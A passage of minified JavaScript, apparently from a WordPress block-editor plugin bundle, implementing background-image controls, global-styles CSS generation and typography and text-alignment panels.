0===u||null===(d=u.backgroundImage)||void 0===d?void 0:d.url),y=null==t||null===(p=t.background)||void 0===p||null===(h=p.backgroundImage)||void 0===h?void 0:h.id,x=(null==t||null===(g=t.background)||void 0===g?void 0:g.backgroundPosition)||(null==n||null===(f=n.background)||void 0===f?void 0:f.backgroundPosition),S=(null==t||null===(m=t.background)||void 0===m?void 0:m.backgroundAttachment)||(null==n||null===(v=n.background)||void 0===v?void 0:v.backgroundAttachment);let w=!b&&y?null==o?void 0:o.backgroundSize:b||"auto";w=["cover","contain","auto"].includes(w)?w:"auto";const C=!("no-repeat"===k||"cover"===w&&void 0===k),B=n=>{let o=k,i=x;var r,l;"contain"===n&&(o="no-repeat",i=void 0),"cover"===n&&(o=void 0,i=void 0),"cover"!==w&&"contain"!==w||"auto"!==n||(o=void 0,null!=t&&null!==(r=t.background)&&void 0!==r&&null!==(l=r.backgroundImage)&&void 0!==l&&l.id&&(i="50% 0")),n||"auto"!==w||(n="auto"),e(Ht(t,["background"],{...null==t?void 0:t.background,backgroundPosition:i,backgroundRepeat:o,backgroundSize:n}))},I=!x&&y&&"contain"===b?null==o?void 0:o.backgroundPosition:x;return(0,Nt.jsxs)(ne.__experimentalVStack,{spacing:3,className:"single-column",children:[(0,Nt.jsx)(ne.FocalPointPicker,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Focal point"),url:_,value:Kj(I),onChange:n=>{e(Ht(t,["background","backgroundPosition"],Wj(n)))}}),(0,Nt.jsx)(ne.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Fixed background"),checked:"fixed"===S,onChange:()=>e(Ht(t,["background","backgroundAttachment"],"fixed"===S?"scroll":"fixed"))}),(0,Nt.jsxs)(ne.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,size:"__unstable-large",label:(0,Je.__)("Size"),value:w,onChange:B,isBlock:!0,help:(j=b||(null==o?void 0:o.backgroundSize),"cover"===j||void 0===j?(0,Je.__)("Image covers the space evenly."):"contain"===j?(0,Je.__)("Image is contained without distortion."):(0,Je.__)("Image has a fixed width.")),children:[(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{value:"cover",label:(0,Je._x)("Cover","Size option for background image control")},"cover"),(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{value:"contain",label:(0,Je._x)("Contain","Size option for background image control")},"contain"),(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{value:"auto",label:(0,Je._x)("Tile","Size option for background image control")},"tile")]}),(0,Nt.jsxs)(ne.__experimentalHStack,{justify:"flex-start",spacing:2,as:"span",children:[(0,Nt.jsx)(ne.__experimentalUnitControl,{"aria-label":(0,Je.__)("Background image width"),onChange:B,value:b,size:"__unstable-large",__unstableInputWidth:"100px",min:0,placeholder:(0,Je.__)("Auto"),disabled:"auto"!==w||void 0===w}),(0,Nt.jsx)(ne.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Repeat"),checked:C,onChange:()=>e(Ht(t,["background","backgroundRepeat"],!0===C?"no-repeat":"repeat")),disabled:"cover"===w})]})]});var j}function Jj({value:e,onChange:t,inheritedValue:n=e,settings:o,defaultValues:i={}}){var r,l,s,a,c,p,h;const{globalStyles:g,_links:f}=(0,d.useSelect)((e=>{const{getSettings:t}=e(hs),n=t();return{globalStyles:n[nt],_links:n[ot]}}),[]),m=(0,u.useMemo)((()=>{const e={background:{}};return null!=n&&n.background?(Object.entries(null==n?void 0:n.background).forEach((([t,n])=>{e.background[t]=Ej(n,{styles:g,_links:f})})),e):n}),[g,f,n]),v=()=>t(Ht(e,["background"],{})),{title:b,url:k}=(null==e||null===(r=e.background)||void 0===r?void 0:r.backgroundImage)||{...null==m||null===(l=m.background)||void 0===l?void 0:l.backgroundImage},_=nE(e)||nE(m),y=(null==e||null===(s=e.background)||void 0===s?void 0:s.backgroundImage)||(null==n||null===(a=n.background)||void 0===a?void 0:a.backgroundImage),x=_&&"none"!==y&&((null==o||null===(c=o.background)||void 0===c?void 0:c.backgroundSize)||(null==o||null===(p=o.background)||void 0===p?void 0:p.backgroundPosition)||(null==o||null===(h=o.background)||void 0===h?void 0:h.backgroundRepeat)),[S,w]=(0,u.useState)(!1);return(0,Nt.jsx)("div",{className:ms("block-editor-global-styles-background-panel__inspector-media-replace-container",{"is-open":S}),children:x?(0,Nt.jsx)(qj,{label:b,filename:b,url:k,onToggle:w,hasImageValue:_,children:(0,Nt.jsxs)(ne.__experimentalVStack,{spacing:3,className:"single-column",children:[(0,Nt.jsx)(Xj,{onChange:t,style:e,inheritedValue:m,displayInPanel:!0,onResetImage:()=>{w(!1),v()},onRemoveImage:()=>w(!1),defaultValues:i}),(0,Nt.jsx)(Qj,{onChange:t,style:e,defaultValues:i,inheritedValue:m})]})}):(0,Nt.jsx)(Xj,{onChange:t,style:e,inheritedValue:m,defaultValues:i,onResetImage:()=>{w(!1),v()},onRemoveImage:()=>w(!1)})})}const eE={backgroundImage:!0};function tE(e){var t;return"web"===u.Platform.OS&&(null==e||null===(t=e.background)||void 0===t?void 0:t.backgroundImage)}function nE(e){var t,n,o,i,r;return!(null==e||null===(t=e.background)||void 0===t||null===(n=t.backgroundImage)||void 0===n||!n.id)||"string"==typeof(null==e||null===(o=e.background)||void 0===o?void 0:o.backgroundImage)||!(null==e||null===(i=e.background)||void 0===i||null===(r=i.backgroundImage)||void 0===r||!r.url)}function oE({resetAllFilter:e,onChange:t,value:n,panelId:o,children:i,headerLabel:r}){return(0,Nt.jsx)(ne.__experimentalToolsPanel,{label:r,resetAll:()=>{const o=e(n);t(o)},panelId:o,children:i})}function iE({as:e=oE,value:t,onChange:n,inheritedValue:o,settings:i,panelId:r,defaultControls:l=eE,defaultValues:s={},headerLabel:a=(0,Je.__)("Background image","kubio")}){const c=tE(i),d=(0,u.useCallback)((e=>({...e,background:{}})),[]);return(0,Nt.jsx)(e,{resetAllFilter:d,value:t,onChange:n,panelId:r,headerLabel:a,children:c&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{hasValue:()=>!(null==t||!t.background),label:(0,Je.__)("Image","kubio"),onDeselect:()=>n(Ht(t,["background"],{})),isShownByDefault:l.backgroundImage,panelId:r,children:(0,Nt.jsx)(Jj,{value:t,onChange:n,settings:i,inheritedValue:o,defaultControls:l,defaultValues:s})})})}const rE="background",lE={backgroundSize:"cover",backgroundPosition:"50% 50%"};function sE(e,t="any"){const n=(0,c.getBlockSupport)(e,rE);return!!(!0===n||("any"===t?null!=n&&n.backgroundImage||null!=n&&n.backgroundSize||null!=n&&n.backgroundRepeat:null!=n&&n[t]))}function aE(e){var t;if(!e||null==e||null===(t=e.backgroundImage)||void 0===t||!t.url)return;let n;return null!=e&&e.backgroundSize||(n={backgroundSize:lE.backgroundSize}),"contain"!==(null==e?void 0:e.backgroundSize)||null!=e&&e.backgroundPosition||(n={backgroundPosition:lE.backgroundPosition}),n}function cE(e){return nE(e)?"has-background":""}function uE({children:e}){const t=(0,u.useCallback)((e=>({...e,style:{...e.style,background:void 0}})),[]);return(0,Nt.jsx)(Tk,{group:"background",resetAllFilter:t,children:e})}function dE({clientId:e,name:t,setAttributes:n,settings:o}){var i;const{style:r,inheritedValue:l}=(0,d.useSelect)((n=>{var o,i,r;const{getBlockAttributes:l,getSettings:s}=n(hs),a=s();return{style:null===(o=l(e))||void 0===o?void 0:o.style,inheritedValue:null===(i=a[nt])||void 0===i||null===(r=i.blocks)||void 0===r?void 0:r[t]}}),[e,t]);if(!tE(o)||!sE(t,"backgroundImage"))return null;const s={...o,background:{...o.background,backgroundSize:(null==o||null===(i=o.background)||void 0===i?void 0:i.backgroundSize)&&sE(t,"backgroundSize")}},a=(0,c.getBlockSupport)(t,[rE,"defaultControls"]);return(0,Nt.jsx)(iE,{inheritedValue:l,as:uE,panelId:e,defaultValues:lE,settings:s,onChange:e=>{n({style:AM(e)})},defaultControls:a,value:r})}const pE={useBlockProps:function({name:e,style:t}){var n;if(!sE(e)||null==t||null===(n=t.background)||void 0===n||!n.backgroundImage)return;const o=aE(null==t?void 0:t.background);return o?{style:{...o}}:void 0},attributeKeys:["style"],hasSupport:sE},hE={button:"wp-element-button",caption:"wp-element-caption"},gE={__experimentalBorder:"border",color:"color",spacing:"spacing",typography:"typography"},{kebabCase:fE}=ge(ne.privateApis);function mE(e={},t,n){let o=[];return Object.keys(e).forEach((i=>{const r=t+fE(i.replace("/","-")),l=e[i];if(l instanceof Object){const e=r+n;o=[...o,...mE(l,e,n)]}else o.push(`${r}: ${l}`)})),o}const vE=(e,t)=>{const n={};return Object.entries(e).forEach((([e,o])=>{if("root"===e||null==t||!t[e])return;const i="string"==typeof o;if(i||Object.entries(o).forEach((([o,i])=>{if("root"===o||null==t||!t[e][o])return;const r=bE({[e]:{[o]:t[e][o]}});n[i]=[...n[i]||[],...r],delete t[e][o]})),i||o.root){const r=i?o:o.root,l=bE({[e]:t[e]});n[r]=[...n[r]||[],...l],delete t[e]}})),n};function bE(e={},t="",n,o={},i=!1){const r=kj===t,l=Object.entries(c.__EXPERIMENTAL_STYLE_PROPERTY).reduce(((t,[o,{value:i,properties:l,useEngine:s,rootOnly:a}])=>{if(a&&!r)return t;const c=i;if("elements"===c[0]||s)return t;const u=Gt(e,c);if("--wp--style--root--padding"===o&&("string"==typeof u||!n))return t;if(l&&"string"!=typeof u)Object.entries(l).forEach((e=>{const[n,o]=e;if(!Gt(u,[o],!1))return;const i=n.startsWith("--")?n:fE(n);t.push(`${i}: ${qc(Gt(u,[o]))}`)}));else if(Gt(e,c,!1)){const n=o.startsWith("--")?o:fE(o);t.push(`${n}: ${qc(Gt(e,c))}`)}return t}),[]);var s,a,u;return e.background&&(null!==(s=e.background)&&void 0!==s&&s.backgroundImage&&(e.background.backgroundImage=Ej(e.background.backgroundImage,o)),!r&&null!==(a=e.background)&&void 0!==a&&null!==(u=a.backgroundImage)&&void 0!==u&&u.id&&(e={...e,background:{...e.background,...aE(e.background)}})),Tu(e).forEach((e=>{if(r&&(n||i)&&e.key.startsWith("padding"))return;const t=e.key.startsWith("--")?e.key:fE(e.key);let s=Ej(e.value,o);"font-size"===t&&(s=mj({size:s},null==o?void 0:o.settings)),"aspect-ratio"===t&&l.push("min-height: unset"),l.push(`${t}: ${s}`)})),l}function kE({layoutDefinitions:e=lc,style:t,selector:n,hasBlockGapSupport:o,hasFallbackGapSupport:i,fallbackGapValue:r}){var l;let s="",a=o?Ec(null==t||null===(l=t.spacing)||void 0===l?void 0:l.blockGap):"";if(i&&(n===kj?a=a||"0.5em":!o&&r&&(a=r)),a&&e&&(Object.values(e).forEach((({className:e,name:t,spacingStyles:i})=>{(o||"flex"===t||"grid"===t)&&null!=i&&i.length&&i.forEach((t=>{const i=[];if(t.rules&&Object.entries(t.rules).forEach((([e,t])=>{i.push(`${e}: ${t||a}`)})),i.length){let r="";r=o?n===kj?`:root :where(.${e})${(null==t?void 0:t.selector)||""}`:`:root :where(${n}-${e})${(null==t?void 0:t.selector)||""}`:n===kj?`:where(.${e}${(null==t?void 0:t.selector)||""})`:`:where(${n}.${e}${(null==t?void 0:t.selector)||""})`,s+=`${r} { ${i.join("; ")}; }`}}))})),n===kj&&o&&(s+=`${_j} { --wp--style--block-gap: ${a}; }`)),n===kj&&e){const t=["block","flex","grid"];Object.values(e).forEach((({className:e,displayMode:o,baseStyles:i})=>{o&&t.includes(o)&&(s+=`${n} .${e} { display:${o}; }`),null!=i&&i.length&&i.forEach((t=>{const n=[];if(t.rules&&Object.entries(t.rules).forEach((([e,t])=>{n.push(`${e}: ${t}`)})),n.length){const o=`.${e}${(null==t?void 0:t.selector)||""}`;s+=`${o} { ${n.join("; ")}; }`}}))}))}return s}const _E=["border","color","dimensions","spacing","typography","filter","outline","shadow","background"];function yE(e){if(!e)return{};const t=Object.entries(e).filter((([e])=>_E.includes(e))).map((([e,t])=>[e,JSON.parse(JSON.stringify(t))]));return Object.fromEntries(t)}const xE=(e,t)=>{var n,o,i;const r=[];if(null==e||!e.settings)return r;const l=e=>{let t={};return yj.forEach((({path:n})=>{const o=Gt(e,n,!1);!1!==o&&(t=Ht(t,n,o))})),t},s=l(e.settings),a=null===(n=e.settings)||void 0===n?void 0:n.custom;return(Object.keys(s).length>0||a)&&r.push({presets:s,custom:a,selector:_j}),Object.entries(null!==(o=null===(i=e.settings)||void 0===i?void 0:i.blocks)&&void 0!==o?o:{}).forEach((([e,n])=>{const o=l(n),i=n.custom;var s;(Object.keys(o).length>0||i)&&r.push({presets:o,custom:i,selector:null===(s=t[e])||void 0===s?void 0:s.selector})})),r},SE=(e,t)=>{const n=xE(e,t);let o="";return n.forEach((({presets:t,custom:n,selector:i})=>{const r=function(e={},t){return yj.reduce(((n,{path:o,valueKey:i,valueFunc:r,cssVarInfix:l})=>{const s=Gt(e,o,[]);return["default","theme","custom"].forEach((e=>{s[e]&&s[e].forEach((e=>{i&&!r?n.push(`--wp--preset--${l}--${fE(e.slug)}: ${e[i]}`):r&&"function"==typeof r&&n.push(`--wp--preset--${l}--${fE(e.slug)}: ${r(e,t)}`)}))})),n}),[])}(t,null==e?void 0:e.settings),l=mE(n,"--wp--custom--","--");l.length>0&&r.push(...l),r.length>0&&(o+=`${i}{${r.join(";")};}`)})),o},wE=(e,t,n,o,i=!1,r=!1,l=void 0)=>{var s,a;const u={blockGap:!0,blockStyles:!0,layoutStyles:!0,marginReset:!0,presets:!0,rootPadding:!0,variationStyles:!1,...l},d=((e,t)=>{var n,o;const i=[];if(null==e||!e.styles)return i;const r=yE(e.styles);return r&&i.push({styles:r,selector:kj,skipSelectorWrapper:!0}),Object.entries(c.__EXPERIMENTAL_ELEMENTS).forEach((([t,n])=>{var o,r,l,s;null!==(o=e.styles)&&void 0!==o&&null!==(r=o.elements)&&void 0!==r&&r[t]&&i.push({styles:null===(l=e.styles)||void 0===l||null===(s=l.elements)||void 0===s?void 0:s[t],selector:n,skipSelectorWrapper:!hE[t]})})),Object.entries(null!==(n=null===(o=e.styles)||void 0===o?void 0:o.blocks)&&void 0!==n?n:{}).forEach((([e,n])=>{var o,r;const l=yE(n);if(null!=n&&n.variations){const o={};Object.entries(n.variations).forEach((([n,r])=>{var l,s,a,u;o[n]=yE(r),null!=r&&r.css&&(o[n].css=r.css);const d=null===(l=t[e])||void 0===l||null===(s=l.styleVariationSelectors)||void 0===s?void 0:s[n];Object.entries(null!==(a=null==r?void 0:r.elements)&&void 0!==a?a:{}).forEach((([e,t])=>{t&&c.__EXPERIMENTAL_ELEMENTS[e]&&i.push({styles:t,selector:Ij(d,c.__EXPERIMENTAL_ELEMENTS[e])})})),Object.entries(null!==(u=null==r?void 0:r.blocks)&&void 0!==u?u:{}).forEach((([e,n])=>{var o,r,l,s,a,u;const p=Ij(d,null===(o=t[e])||void 0===o?void 0:o.selector),h=Ij(d,null===(r=t[e])||void 0===r?void 0:r.duotoneSelector),g=function(e,t){if(!e||!t)return;const n={};return Object.entries(t).forEach((([t,o])=>{"string"==typeof o&&(n[t]=Ij(e,o)),"object"==typeof o&&(n[t]={},Object.entries(o).forEach((([o,i])=>{n[t][o]=Ij(e,i)})))})),n}(d,null===(l=t[e])||void 0===l?void 0:l.featureSelectors),f=yE(n);null!=n&&n.css&&(f.css=n.css),i.push({selector:p,duotoneSelector:h,featureSelectors:g,fallbackGapValue:null===(s=t[e])||void 0===s?void 0:s.fallbackGapValue,hasLayoutSupport:null===(a=t[e])||void 0===a?void 0:a.hasLayoutSupport,styles:f}),Object.entries(null!==(u=n.elements)&&void 0!==u?u:{}).forEach((([e,t])=>{t&&c.__EXPERIMENTAL_ELEMENTS[e]&&i.push({styles:t,selector:Ij(p,c.__EXPERIMENTAL_ELEMENTS[e])})}))}))})),l.variations=o}null!=t&&null!==(o=t[e])&&void 0!==o&&o.selector&&i.push({duotoneSelector:t[e].duotoneSelector,fallbackGapValue:t[e].fallbackGapValue,hasLayoutSupport:t[e].hasLayoutSupport,selector:t[e].selector,styles:l,featureSelectors:t[e].featureSelectors,styleVariationSelectors:t[e].styleVariationSelectors}),Object.entries(null!==(r=null==n?void 0:n.elements)&&void 0!==r?r:{}).forEach((([n,o])=>{var r;o&&null!=t&&t[e]&&c.__EXPERIMENTAL_ELEMENTS[n]&&i.push({styles:o,selector:null===(r=t[e])||void 0===r?void 0:r.selector.split(",").map((e=>c.__EXPERIMENTAL_ELEMENTS[n].split(",").map((t=>e+" "+t)))).join(",")})}))})),i})(e,t),p=xE(e,t),h=null==e||null===(s=e.settings)||void 0===s?void 0:s.useRootPaddingAwareAlignments,{contentSize:g,wideSize:f}=(null==e||null===(a=e.settings)||void 0===a?void 0:a.layout)||{},m=u.marginReset||u.rootPadding||u.layoutStyles;let v="";if(u.presets&&(g||f)&&(v+=`${_j} {`,v=g?v+` --wp--style--global--content-size: ${g};`:v,v=f?v+` --wp--style--global--wide-size: ${f};`:v,v+="}"),m&&(v+=":where(body) {margin: 0;",u.rootPadding&&h&&(v+="padding-right: 0; padding-left: 0; padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom) }\n\t\t\t\t.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }\n\t\t\t\t.has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }\n\t\t\t\t.has-global-padding :where(:not(.alignfull.is-layout-flow) > .has-global-padding:not(.wp-block-block, .alignfull)) { padding-right: 0; padding-left: 0; }\n\t\t\t\t.has-global-padding :where(:not(.alignfull.is-layout-flow) > .has-global-padding:not(.wp-block-block, .alignfull)) > .alignfull { margin-left: 0; margin-right: 0;\n\t\t\t\t"),v+="}"),u.blockStyles&&d.forEach((({selector:t,duotoneSelector:l,styles:s,fallbackGapValue:a,hasLayoutSupport:c,featureSelectors:d,styleVariationSelectors:p,skipSelectorWrapper:g})=>{if(d){const e=vE(d,s);Object.entries(e).forEach((([e,t])=>{if(t.length){const n=t.join(";");v+=`:root :where(${e}){${n};}`}}))}if(l){const e={};null!=s&&s.filter&&(e.filter=s.filter,delete s.filter);const t=bE(e);t.length&&(v+=`${l}{${t.join(";")};}`)}i||kj!==t&&!c||(v+=kE({style:s,selector:t,hasBlockGapSupport:n,hasFallbackGapSupport:o,fallbackGapValue:a}));const f=bE(s,t,h,e,r);null!=f&&f.length&&(v+=`${g?t:`:root :where(${t})`}{${f.join(";")};}`),null!=s&&s.css&&(v+=BE(s.css,`:root :where(${t})`)),u.variationStyles&&p&&Object.entries(p).forEach((([t,n])=>{var o;const i=null==s||null===(o=s.variations)||void 0===o?void 0:o[t];if(i){if(d){const e=vE(d,i);Object.entries(e).forEach((([e,t])=>{if(t.length){const o=function(e,t){const n=e.split(","),o=[];return n.forEach((e=>{o.push(`${t.trim()}${e.trim()}`)})),o.join(", ")}(e,n),i=t.join(";");v+=`:root :where(${o}){${i};}`}}))}const t=bE(i,n,h,e);t.length&&(v+=`:root :where(${n}){${t.join(";")};}`),null!=i&&i.css&&(v+=BE(i.css,`:root :where(${n})`))}}));const m=Object.entries(s).filter((([e])=>e.startsWith(":")));null!=m&&m.length&&m.forEach((([e,n])=>{const o=bE(n);if(null==o||!o.length)return;const i=`:root :where(${t.split(",").map((t=>t+e)).join(",")}){${o.join(";")};}`;v+=i}))})),u.layoutStyles&&(v+=".wp-site-blocks > .alignleft { float: left; margin-right: 2em; }",v+=".wp-site-blocks > .alignright { float: right; margin-left: 2em; }",v+=".wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }"),u.blockGap&&n){var b,k;const t=Ec(null==e||null===(b=e.styles)||void 0===b||null===(k=b.spacing)||void 0===k?void 0:k.blockGap)||"0.5em";v+=`:root :where(.wp-site-blocks) > * { margin-block-start: ${t}; margin-block-end: 0; }`,v+=":root :where(.wp-site-blocks) > :first-child { margin-block-start: 0; }",v+=":root :where(.wp-site-blocks) > :last-child { margin-block-end: 0; }"}return u.presets&&p.forEach((({selector:e,presets:t})=>{kj!==e&&_j!==e||(e="");const n=function(e="*",t={}){return yj.reduce(((n,{path:o,cssVarInfix:i,classes:r})=>{if(!r)return n;const l=Gt(t,o,[]);return["default","theme","custom"].forEach((t=>{l[t]&&l[t].forEach((({slug:t})=>{r.forEach((({classSuffix:o,propertyName:r})=>{const l=`.has-${fE(t)}-${o}`,s=e.split(",").map((e=>`${e}${l}`)).join(","),a=`var(--wp--preset--${i}--${fE(t)})`;n+=`${s}{${r}: ${a} !important;}`}))}))})),n}),"")}(e,t);n.length>0&&(v+=n)})),v};const CE=(e,t,n)=>{const o={};return e.forEach((e=>{var i,r,l,s,a;const u=e.name,d=Oj(e);let p=Oj(e,"filter.duotone");if(!p){const t=Oj(e),n=(0,c.getBlockSupport)(e,"color.__experimentalDuotone",!1);p=n&&Ij(t,n)}const h=!(null==e||null===(i=e.supports)||void 0===i||!i.layout)||!(null==e||null===(r=e.supports)||void 0===r||!r.__experimentalLayout),g=null==e||null===(l=e.supports)||void 0===l||null===(s=l.spacing)||void 0===s||null===(a=s.blockGap)||void 0===a?void 0:a.__experimentalDefault,f=t(u),m={};null==f||f.forEach((e=>{const t=n?`-${n}`:"",o=`${e.name}${t}`,i=function(e,t){const n=`.is-style-${e}`;if(!t)return n;const o=/((?::\([^)]+\))?\s*)([^\s:]+)/,i=(e,t,o)=>t+o+n;return t.split(",").map((e=>e.replace(o,i))).join(",")}(o,d);m[o]=i}));const v=((e,t)=>{if(null!=e&&e.selectors&&Object.keys(e.selectors).length>0)return e.selectors;const n={root:t};return Object.entries(gE).forEach((([t,o])=>{const i=Oj(e,t);i&&(n[o]=i)})),n})(e,d);o[u]={duotoneSelector:p,fallbackGapValue:g,featureSelectors:Object.keys(v).length?v:void 0,hasLayoutSupport:h,name:u,selector:d,styleVariationSelectors:null!=f&&f.length?m:void 0}})),o};function BE(e,t){let n="";return e&&""!==e.trim()?(e.split("&").forEach((e=>{if(e&&""!==e.trim())if(e.includes("{")){const o=e.replace("}","").split("{");if(2!==o.length)return;const[i,r]=o,l=i.match(/([>+~\s]*::[a-zA-Z-]+)/),s=l?l[1]:"",a=l?i.replace(s,"").trim():i.trim();let c;c=""===a?t:i.startsWith(" ")?Ij(t,a):function(e,t){return e.includes(",")?e.split(",").map((e=>e+t)).join(","):e+t}(t,a),n+=`:root :where(${c})${s}{${r.trim()}}`}else n+=`:root :where(${t}){${e.trim()}}`})),n):n}function IE(e={},t){const[n]=Rj("spacing.blockGap"),o=null!==n,i=!o,r=(0,d.useSelect)((e=>{const{getSettings:t}=e(hs);return!!t().disableLayoutStyles})),{getBlockStyles:l}=(0,d.useSelect)(c.store);return(0,u.useMemo)((()=>{var n;if(null==e||!e.styles||null==e||!e.settings)return[];const s=!(null===(f=(g=e).styles)||void 0===f||null===(m=f.blocks)||void 0===m?void 0:m["core/separator"])||!(null===(v=g.styles)||void 0===v||null===(b=v.blocks)||void 0===b||null===(k=b["core/separator"].color)||void 0===k?void 0:k.background)||null!==(_=g.styles)&&void 0!==_&&null!==(y=_.blocks)&&void 0!==y&&null!==(x=y["core/separator"].color)&&void 0!==x&&x.text||null!==(S=g.styles)&&void 0!==S&&null!==(w=S.blocks)&&void 0!==w&&null!==(C=w["core/separator"].border)&&void 0!==C&&C.color?g:{...g,styles:{...g.styles,blocks:{...g.styles.blocks,"core/separator":{...g.styles.blocks["core/separator"],color:{...g.styles.blocks["core/separator"].color,text:null===(B=g.styles)||void 0===B?void 0:B.blocks["core/separator"].color.background}}}}},a=CE((0,c.getBlockTypes)(),l),u=SE(s,a),d=wE(s,a,o,i,r,t),p=function(e,t){return xE(e,t).flatMap((({presets:e})=>function(e={}){return yj.filter((e=>"duotone"===e.path.at(-1))).flatMap((t=>{const n=Gt(e,t.path,{});return["default","theme"].filter((e=>n[e])).flatMap((e=>n[e].map((e=>Vj(`wp-duotone-${e.slug}`,e.colors))))).join("")}))}(e)))}(s,a),h=[{css:u,isGlobalStyles:!0},{css:d,isGlobalStyles:!0},{css:null!==(n=s.styles.css)&&void 0!==n?n:"",isGlobalStyles:!0},{assets:p,__unstableType:"svg",isGlobalStyles:!0}];var g,f,m,v,b,k,_,y,x,S,w,C,B;return(0,c.getBlockTypes)().forEach((e=>{var t;if(null!==(t=s.styles.blocks[e.name])&&void 0!==t&&t.css){var n;const t=a[e.name].selector;h.push({css:BE(null===(n=s.styles.blocks[e.name])||void 0===n?void 0:n.css,t),isGlobalStyles:!0})}})),[h,s.settings]}),[o,i,e,r,t,l])}function jE(e=!1){const{merged:t}=(0,u.useContext)(xS);return IE(t,e)}const EE=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M4 12.8h16v-1.5H4v1.5zm0 7h12.4v-1.5H4v1.5zM4 4.3v1.5h16V4.3H4z"})}),TE=[{label:(0,Je.__)("Align text left"),value:"left",icon:ma},{label:(0,Je.__)("Align text center"),value:"center",icon:va},{label:(0,Je.__)("Align text right"),value:"right",icon:ba},{label:(0,Je.__)("Justify text"),value:"justify",icon:EE}],PE=["left","center","right"];function ME({className:e,value:t,onChange:n,options:o=PE}){const i=(0,u.useMemo)((()=>TE.filter((e=>o.includes(e.value)))),[o]);return i.length?(0,Nt.jsx)(ne.__experimentalToggleGroupControl,{isDeselectable:!0,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,Je.__)("Text alignment"),className:ms("block-editor-text-alignment-control",e),value:t,onChange:e=>{n(e===t?void 0:e)},children:i.map((e=>(0,Nt.jsx)(ne.__experimentalToggleGroupControlOptionIcon,{value:e.value,icon:e.icon,label:e.label},e.value)))}):null}const RE=1,NE=6;function AE(e){const t=DE(e),n=OE(e),o=zE(e),i=FE(e),r=HE(e),l=VE(e),s=GE(e),a=$E(e),c=UE(e),u=LE(e);return t||n||o||i||r||l||u||s||a||c}function LE(e){var t,n,o,i,r,l,s,a,c,u,d;return!1!==(null==e||null===(t=e.typography)||void 0===t?void 0:t.defaultFontSizes)&&(null==e||null===(n=e.typography)||void 0===n||null===(o=n.fontSizes)||void 0===o||null===(i=o.default)||void 0===i?void 0:i.length)||(null==e||null===(r=e.typography)||void 0===r||null===(l=r.fontSizes)||void 0===l||null===(s=l.theme)||void 0===s?void 0:s.length)||(null==e||null===(a=e.typography)||void 0===a||null===(c=a.fontSizes)||void 0===c||null===(u=c.custom)||void 0===u?void 0:u.length)||(null==e||null===(d=e.typography)||void 0===d?void 0:d.customFontSize)}function DE(e){return["default","theme","custom"].some((t=>{var n,o,i;return null==e||null===(n=e.typography)||void 0===n||null===(o=n.fontFamilies)||void 0===o||null===(i=o[t])||void 0===i?void 0:i.length}))}function OE(e){var t;return null==e||null===(t=e.typography)||void 0===t?void 0:t.lineHeight}function zE(e){var t,n;return(null==e||null===(t=e.typography)||void 0===t?void 0:t.fontStyle)||(null==e||null===(n=e.typography)||void 0===n?void 0:n.fontWeight)}function FE(e){var t;return null==e||null===(t=e.typography)||void 0===t?void 0:t.letterSpacing}function VE(e){var t;return null==e||null===(t=e.typography)||void 0===t?void 0:t.textTransform}function HE(e){var t;return null==e||null===(t=e.typography)||void 0===t?void 0:t.textAlign}function GE(e){var t;return null==e||null===(t=e.typography)||void 0===t?void 0:t.textDecoration}function $E(e){var t;return null==e||null===(t=e.typography)||void 0===t?void 0:t.writingMode}function UE(e){var t;return null==e||null===(t=e.typography)||void 0===t?void 0:t.textColumns}const WE=(0,oe.wpVersionCompare)("6.5","<=");function KE({resetAllFilter:e,onChange:t,value:n,panelId:o,children:i}){return(0,Nt.jsx)(ne.__experimentalToolsPanel,{label:(0,Je.__)("Typography","kubio"),resetAll:()=>{const o=e(n);t(o)},panelId:o,children:i})}const ZE={fontFamily:!0,fontSize:!0,fontAppearance:!0,lineHeight:!0,letterSpacing:!0,textAlign:!0,textTransform:!0,textDecoration:!0,writingMode:!0,textColumns:!0};function qE({as:e=KE,value:t,onChange:n,inheritedValue:o=t,settings:i,panelId:r,defaultControls:l=ZE}){var s,a,c,d,p,h,g,f,m,v,b,k,_,y;const x=e=>Bj({settings:i},"",e),S=DE(i),w=x(null==o||null===(s=o.typography)||void 0===s?void 0:s.fontFamily),{fontFamilies:C,fontFamilyFaces:B}=(0,u.useMemo)((()=>function(e,t){var n,o,i;const r=null==e||null===(n=e.typography)||void 0===n?void 0:n.fontFamilies,l=["default","theme","custom"].flatMap((e=>{var t;return null!==(t=null==r?void 0:r[e])&&void 0!==t?t:[]})),s=null!==(o=null===(i=l.find((e=>e.fontFamily===t)))||void 0===i?void 0:i.fontFace)&&void 0!==o?o:[];return{fontFamilies:l,fontFamilyFaces:s}}(i,w)),[i,w]),I=e=>{var o;const i=null==C||null===(o=C.find((({fontFamily:t})=>t===e)))||void 0===o?void 0:o.slug;n(Ht(t,["typography","fontFamily"],i?`var:preset|font-family|${i}`:e||void 0))},j=LE(i),E=!(null!=i&&null!==(a=i.typography)&&void 0!==a&&a.customFontSize),T=function(e){var t,n,o,i,r;const l=null==e||null===(t=e.typography)||void 0===t?void 0:t.fontSizes,s=!(null==e||null===(n=e.typography)||void 0===n||!n.defaultFontSizes)||WE;return[...null!==(o=null==l?void 0:l.custom)&&void 0!==o?o:[],...null!==(i=null==l?void 0:l.theme)&&void 0!==i?i:[],...s&&null!==(r=null==l?void 0:l.default)&&void 0!==r?r:[]]}(i),P=x(null==o||null===(c=o.typography)||void 0===c?void 0:c.fontSize),M=(e,o)=>{const i=null!=o&&o.slug?`var:preset|font-size|${null==o?void 0:o.slug}`:e;n(Ht(t,["typography","fontSize"],i||void 0))},R=zE(i),N=function(e){var t,n;return 